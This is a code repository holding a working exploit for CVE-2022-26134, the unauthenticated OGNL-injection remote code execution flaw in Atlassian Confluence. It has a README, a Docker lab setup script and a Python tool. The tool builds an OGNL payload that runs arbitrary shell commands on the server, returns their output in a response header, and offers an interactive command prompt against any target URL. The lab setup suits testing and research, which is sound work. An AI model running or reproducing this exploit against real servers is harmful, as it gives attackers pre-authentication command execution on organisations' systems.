├── .gitignore ├── README.md ├── start_confluence.sh └── confluence-exploit.py /.gitignore: -------------------------------------------------------------------------------- 1 | docker-compose.yml 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Exploit for CVE-2022-26134: Confluence Pre-Auth Remote Code Execution via OGNL Injection 2 | 3 | _Another exploit in OGNL Land_ 4 | 5 | ## Description 6 | 7 | Confluence is a web-based corporate wiki developed by Australian software company Atlassian. 8 | 9 | On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severity unauthenticated remote code execution vulnerability. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance. 10 | 11 | ## Setup 12 | 13 | To setup your lab, run `start_conflunce.sh` and follow the instructions given [here](https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134). 14 | 15 | ## Usage 16 | 17 | ```bash 18 | $ ./confluence-exploit.py 19 | usage: confluence-exploit.py [-h] -u URL 20 | confluence-exploit.py: error: the following arguments are required: -u/--url 21 | ``` 22 | 23 | ```bash 24 | $ ./confluence-exploit.py -u http://127.0.0.1:8090 25 | 🔗 URL: http://127.0.0.1:8090 26 | 👉 (id): whoami 27 | confluence 28 | ``` 29 | 30 | ## References 31 | 32 | - https://www.rapid7.com/ja/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/ 33 | - Infosec Twitter 34 | -------------------------------------------------------------------------------- /start_confluence.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Specify Color Schemes 4 | NONE='\033[00m' 5 | RED='\033[01;31m' 6 | GREEN='\033[01;32m' 7 | YELLOW='\033[01;33m' 8 | BLUE='\033[01;34m' 9 | MAGENTA='\033[01;35m' 10 | CYAN='\033[01;36m' 11 | WHITE='\033[01;37m' 12 | BOLD='\033[1m' 13 | BLINK='\033[5m' 14 | UNDERLINE='\033[4m' 15 | 16 | # Globals 17 | CONTAINER_ID="" 18 | CONTAINER_IP="" 19 | 20 | init(){ 21 | # Set up environment before starting containers 22 | echo -e $BOLD$MAGENTA[+] Setting Up Environment $NONE 23 | 24 | #Check if program is being run as root 25 | if [[ $EUID -ne 0 ]]; then 26 | echo -e $BOLD$RED[!] This script must be run as ROOT!$NONE 1>&2 27 | exit -1 28 | fi 29 | 30 | # Start Docker 31 | echo -e "$BOLD$CYAN[i] Starting Docker" 32 | systemctl start docker 33 | if [ $? -eq 0 ]; then 34 | echo -e $BOLD$GREEN[+] Successfully Started Docker$NONE 35 | else 36 | echo -e $BOLD$RED[!] Failed to start Docker$NONE 37 | exit -2 38 | fi 39 | } 40 | 41 | fetch_compose(){ 42 | echo -e $BOLD$YELLOW[i] Setup Guide: https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134$NONE 43 | echo -e $BOLD$CYAN[i] Fetching Docker Compose$BLUE 44 | rm -rf docker-compose.yml 45 | wget https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml 46 | } 47 | 48 | setup(){ 49 | echo -e $BOLD$MAGENTA[i] Stopping Containers If Any$NONE 50 | DOCKER_BUILDKIT=1 docker-compose down -v 51 | echo -e $BLUE$BLUE[i] Building Images$NONE 52 | DOCKER_BUILDKIT=1 docker-compose build 53 | echo -e $BOLD$GREEN[+] Starting containers$NONE 54 | DOCKER_BUILDKIT=1 docker-compose up -d 55 | } 56 | 57 | setup_confluence(){ 58 | CONTAINER_ID=$(docker ps | grep 'conflu' | cut -d ' ' -f1) 59 | docker exec -it $CONTAINER_ID sh -c "mkdir /home/confluence" 60 | docker exec -it $CONTAINER_ID sh -c "chown -R confluence:confluence /home/confluence" 61 | docker exec -it $CONTAINER_ID sh -c "apt update -y && apt install -y netcat" 62 | } 63 | 64 | main() { 65 | init 66 | fetch_compose 67 | setup 68 | setup_confluence 69 | 70 | echo -e $BOLD$GREEN[+] Done!$NONE 71 | } 72 | 73 | main 74 | 75 | -------------------------------------------------------------------------------- /confluence-exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import urllib3 4 | import requests 5 | import argparse 6 | from requests.exceptions import InvalidSchema 7 | from rich import print 8 | from rich.prompt import Prompt 9 | from urllib.parse import quote 10 | 11 | 12 | # Disable SSL Warnings 13 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 14 | 15 | # Save options in a global dict 16 | opt = dict() 17 | 18 | 19 | def gen_payload(cmd: str): 20 | """Generate Payload for RCE""" 21 | 22 | payload = '${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("' + cmd + '").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}' 23 | payload = quote(payload) 24 | return payload 25 | 26 | 27 | def check_args(cmd_args): 28 | """Check command line arguments for any sort of funny business""" 29 | 30 | # Start with checking the URL 31 | try: 32 | resp = requests.get(cmd_args.url, verify=False) 33 | if resp.ok: 34 | opt['url'] = cmd_args.url 35 | else: 36 | raise resp.raise_for_status() 37 | except requests.exceptions.RequestException as e: 38 | print(":x:", f"[bold][red]Exception occured as:[/bold][/red] {e}", file = sys.stderr) 39 | sys.exit(-1) 40 | 41 | #Just print the arguments after parsing 42 | print(":link:", f"[bold]URL:[/bold] {opt['url']}") 43 | 44 | 45 | def run_cmd(cmd): 46 | payload = gen_payload(cmd) 47 | url = opt['url'] + '/' + payload + '/' 48 | try: 49 | resp = requests.get(url, timeout=5, verify=False, allow_redirects=False) 50 | if 'X-Cmd-Response' not in resp.headers: 51 | print(":x:", "Could not find the Response Headers", file = sys.stderr) 52 | return 0 53 | print(resp.headers['X-Cmd-Response']) 54 | return 1 55 | except requests.exceptions.RequestException: 56 | print(":x:", "Request failed :(", file = sys.stderr) 57 | return -1 58 | 59 | 60 | def start_prompt(): 61 | """Start An Interactive Prompt""" 62 | try: 63 | while True: 64 | cmd = Prompt.ask(":point_right:", default="id") 65 | if (cmd.lower() == "quit" or cmd.lower() == "exit"): 66 | sys.exit(0) 67 | run_cmd(cmd) 68 | except KeyboardInterrupt: 69 | print() 70 | print(":x:", "[bold][red]Exiting![/red][/bold]") 71 | sys.exit(0) 72 | 73 | 74 | def main(): 75 | """Main Function""" 76 | 77 | parser = argparse.ArgumentParser(description="[+] Confluence Pre-Auth Remote Code Execution via OGNL Injection Exploit") 78 | parser.add_argument('-u', '--url', required=True, 79 | help = "Base URL") 80 | check_args(parser.parse_args()) 81 | 82 | start_prompt() 83 | 84 | 85 | if __name__ == '__main__': 86 | main() 87 | --------------------------------------------------------------------------------